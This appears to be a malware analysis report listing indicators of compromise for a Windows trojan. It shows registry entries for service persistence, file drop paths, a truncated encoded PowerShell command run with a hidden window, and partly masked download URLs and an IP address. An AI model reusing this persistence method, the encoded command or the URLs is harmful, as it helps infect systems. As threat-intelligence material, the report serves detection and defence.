Technical Information
- [<HKLM>\System\CurrentControlSet\Services\PATHPING] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\PATHPING] 'ImagePath' = '"%WINDIR%\SysWOW64\vcamp110\PATHPING.exe"'
- 'PATHPING' "%WINDIR%\SysWOW64\vcamp110\PATHPING.exe"
- 'PATHPING' %WINDIR%\SysWOW64\vcamp110\PATHPING.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD...
- %HOMEPATH%\853.exe
- %WINDIR%\syswow64\vcamp110\pathping.exe
- from %HOMEPATH%\853.exe to %WINDIR%\syswow64\vcamp110\pathping.exe
- '47.##6.117.214':80
- http://bu####roperties.com/lyhvmiq/s_ia_4uaq/
- http://47.##6.117.214/Rttd4DMEr/dkKBCO/Wt1GIdQBdFtZT66Zmq/pxMs15NPF/
- DNS ASK bu####roperties.com
- '%HOMEPATH%\853.exe'
- '%WINDIR%\syswow64\vcamp110\pathping.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD...' (with hidden window)